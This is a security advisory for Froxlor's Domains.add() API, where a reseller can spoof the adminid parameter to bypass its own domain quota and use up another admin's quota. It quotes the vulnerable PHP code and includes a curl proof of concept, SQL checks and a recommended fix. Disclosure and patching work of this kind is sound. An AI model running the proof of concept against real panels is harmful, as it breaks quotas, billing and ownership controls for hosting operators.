PT-2026-35185 · Packagist · Froxlor/Froxlor
Published
2026-04-16
·
Updated
2026-04-16
CVSS v3.1
5.4
Medium
| Vector | AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L |
Summary
In
Domains.add(), the adminid parameter is accepted from user input and used without validation when the calling reseller does not have the customers see all permission. This allows a reseller to attribute newly created domains to any other admin, bypassing their own domain quota (since the wrong admin's domains used counter is incremented) and potentially exhausting another admin's quota.Details
In
lib/Froxlor/Api/Commands/Domains.php, the add() method accepts adminid as an optional parameter at line 327:php
$adminid = intval($this->getParam('adminid', true, $this->getUserDetail('adminid')));The validation for this parameter only runs when the caller has
customers see all == '1' (lines 410-421):php
if ($this->getUserDetail('customers see all') == '1' && $adminid != $this->getUserDetail('adminid')) {
$admin stmt = Database::prepare("
SELECT * FROM `" . TABLE PANEL ADMINS . "`
WHERE `adminid` = :adminid AND (`domains used` < `domains` OR `domains` = '-1')");
$admin = Database::pexecute first($admin stmt, [
'adminid' => $adminid
], true, true);
if (empty($admin)) {
Response::dynamicError("Selected admin cannot have any more domains or could not be found");
}
unset($admin);
}When a reseller does not have
customers see all (the common case for limited resellers), there is no else branch to force $adminid = $this->getUserDetail('adminid'). The unvalidated $adminid flows directly into:- The domain INSERT at line 757:
'adminid' => $adminid - The quota increment at lines 862-868:
php
$upd stmt = Database::prepare("
UPDATE `" . TABLE PANEL ADMINS . "` SET `domains used` = `domains used` + 1
WHERE `adminid` = :adminid
");
Database::pexecute($upd stmt, ['adminid' => $adminid], true, true);Compare with
Domains.update() at lines 1386-1387 which correctly handles this case:php
} else {
$adminid = $result['adminid'];
}The initial quota check at line 321 checks the caller's own quota (
$this->getUserDetail('domains used')), but since the caller's domains used is never incremented (the wrong admin's counter is incremented instead), this check passes indefinitely.Note: The
getCustomerData() call at line 407 does correctly restrict the customerid to the reseller's own customers (via Customers.get which filters by adminid). However, this does not prevent the adminid field itself from being spoofed.PoC
bash
# Step 1: Create a domain with the reseller's API key, specifying a different admin's ID
curl -s -u RESELLER API KEY:RESELLER API SECRET -X POST https://froxlor.example/api.php
-d '{"command": "Domains.add", "params": {"domain": "bypass-test-1.com", "customerid": 3, "adminid": 1}}'
# Where:
# - RESELLER API KEY:RESELLER API SECRET = API credentials for a reseller WITHOUT customers see all
# - customerid=3 = one of the reseller's own customers
# - adminid=1 = the super-admin's ID (or any other admin's ID)
# Step 2: Verify the domain was created with adminid=1
# In the database: SELECT adminid, domain FROM panel domains WHERE domain='bypass-test-1.com';
# Expected: adminid=1
# Step 3: Check the reseller's quota was NOT incremented
# In the database: SELECT adminid, domains used, domains FROM panel admins WHERE adminid=<reseller id>;
# Expected: domains used unchanged
# Step 4: Check the target admin's quota WAS incremented
# In the database: SELECT adminid, domains used, domains FROM panel admins WHERE adminid=1;
# Expected: domains used incremented by 1
# Step 5: Repeat with different domain names to demonstrate unlimited creation
curl -s -u RESELLER API KEY:RESELLER API SECRET -X POST https://froxlor.example/api.php
-d '{"command": "Domains.add", "params": {"domain": "bypass-test-2.com", "customerid": 3, "adminid": 1}}'
curl -s -u RESELLER API KEY:RESELLER API SECRET -X POST https://froxlor.example/api.php
-d '{"command": "Domains.add", "params": {"domain": "bypass-test-3.com", "customerid": 3, "adminid": 1}}'
# The reseller's domains used remains unchanged, allowing indefinite creationImpact
- Quota bypass: A reseller can create unlimited domains beyond their allocated quota, since their own
domains usedcounter is never incremented. - Quota exhaustion DoS: The target admin's
domains usedcounter is incremented instead, potentially exhausting their quota and preventing legitimate domain creation. - Data integrity violation: Domains are associated with an admin who does not own the customer, breaking the ownership model. These domains become invisible to the reseller in domain listings (which filter by
adminid) but remain active on the server. - Accounting inaccuracy: Resource usage reporting and billing tied to admin quotas becomes incorrect.
Recommended Fix
Add an
else branch to force $adminid to the caller's own admin ID when customers see all != '1', consistent with the pattern used in Domains.update():php
// In lib/Froxlor/Api/Commands/Domains.php, after line 421:
if ($this->getUserDetail('customers see all') == '1' && $adminid != $this->getUserDetail('adminid')) {
$admin stmt = Database::prepare("
SELECT * FROM `" . TABLE PANEL ADMINS . "`
WHERE `adminid` = :adminid AND (`domains used` < `domains` OR `domains` = '-1')");
$admin = Database::pexecute first($admin stmt, [
'adminid' => $adminid
], true, true);
if (empty($admin)) {
Response::dynamicError("Selected admin cannot have any more domains or could not be found");
}
unset($admin);
} else {
// Force adminid to the caller's own ID when they don't have customers see all
$adminid = intval($this->getUserDetail('adminid'));
}Fix
Incorrect Authorization
Found an issue in the description? Have something to add? Feel free to write us 👾
Weakness Enumeration
Related Identifiers
Affected Products
Froxlor/Froxlor